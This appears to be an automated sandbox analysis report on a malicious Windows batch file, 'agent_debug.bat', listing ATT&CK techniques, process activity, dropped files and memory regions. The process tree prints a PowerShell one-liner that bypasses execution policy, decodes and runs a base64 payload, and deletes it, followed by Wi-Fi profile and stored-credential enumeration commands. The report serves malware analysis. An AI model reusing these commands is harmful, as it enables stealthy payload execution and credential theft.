Analysis

  • max time kernel
    149s
  • max time network
    108s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/05/2026, 14:59

General

  • Target
    agent_debug.bat
  • Size 67KB
  • Sample260508-sc15wsat91
  • SHA256 073eb2fb4cb1cdbc14c435028dfd04ca631dac4d713b1bfce573f84e90757d37
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 1 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\agent_debug.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "$f='C:\Users\Admin\AppData\Local\Temp\10170.b64';$b=Get-Content $f -Raw;[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(($b -replace '\s',''))) | Invoke-Expression;Remove-Item $f -Force -EA 0"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:4516
      • C:\Windows\system32\cmdkey.exe
        "C:\Windows\system32\cmdkey.exe" /list
        3⤵
          PID:4392

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          10170.b64

          • Path C:\Users\Admin\AppData\Local\Temp\10170.b64
          • Size 66KB
          • SHA256 2f19b6a5712b2b999e3f7f710fd84420fd91c2e2705e79e67cde619153e48444
          • MD5 SHA1 SHA512 SSDEEP TLSH

          10170.b64

          • Path C:\Users\Admin\AppData\Local\Temp\10170.b64
          • Size 23KB
          • SHA256 a80c0fe0d5c3748ac632bd9ee46191e926966832c88ac78f78662aeef9fa85db
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_3pnprdtt.bqg.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3pnprdtt.bqg.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2716-45-0x000002E97CF70000-0x000002E97CF8C000-memory.dmp

          memory/2716-47-0x000002E97D3C0000-0x000002E97D3DA000-memory.dmp

          memory/2716-27-0x000002E97CE10000-0x000002E97CE20000-memory.dmp

          memory/2716-18-0x000002E97CE10000-0x000002E97CE20000-memory.dmp

          memory/2716-29-0x000002E97D4B0000-0x000002E97D672000-memory.dmp

          memory/2716-35-0x000002E97DBB0000-0x000002E97E0D8000-memory.dmp

          memory/2716-42-0x000002E97CF20000-0x000002E97CF3C000-memory.dmp

          memory/2716-43-0x000002E97D2E0000-0x000002E97D393000-memory.dmp

          memory/2716-44-0x000002E97CF10000-0x000002E97CF1A000-memory.dmp

          memory/2716-19-0x000002E97CE10000-0x000002E97CE20000-memory.dmp

          memory/2716-46-0x000002E97CF50000-0x000002E97CF5A000-memory.dmp

          memory/2716-20-0x000002E97CE50000-0x000002E97CE72000-memory.dmp

          memory/2716-48-0x000002E97D3A0000-0x000002E97D3A8000-memory.dmp

          memory/2716-50-0x000002E97D400000-0x000002E97D40A000-memory.dmp

          memory/2716-49-0x000002E97D3F0000-0x000002E97D3F6000-memory.dmp

          memory/2716-51-0x000002E97CE10000-0x000002E97CE20000-memory.dmp

          memory/2716-65-0x000002E97D3F0000-0x000002E97D436000-memory.dmp

          memory/2716-67-0x000002E97CE10000-0x000002E97CE20000-memory.dmp

          memory/2716-66-0x000002E97CE10000-0x000002E97CE20000-memory.dmp

          memory/2716-68-0x000002E97CE10000-0x000002E97CE20000-memory.dmp

          memory/2716-69-0x000002E964750000-0x000002E96475C000-memory.dmp

          memory/2716-70-0x000002E97CDF0000-0x000002E97CE02000-memory.dmp

          memory/2716-71-0x000002E97CE10000-0x000002E97CE20000-memory.dmp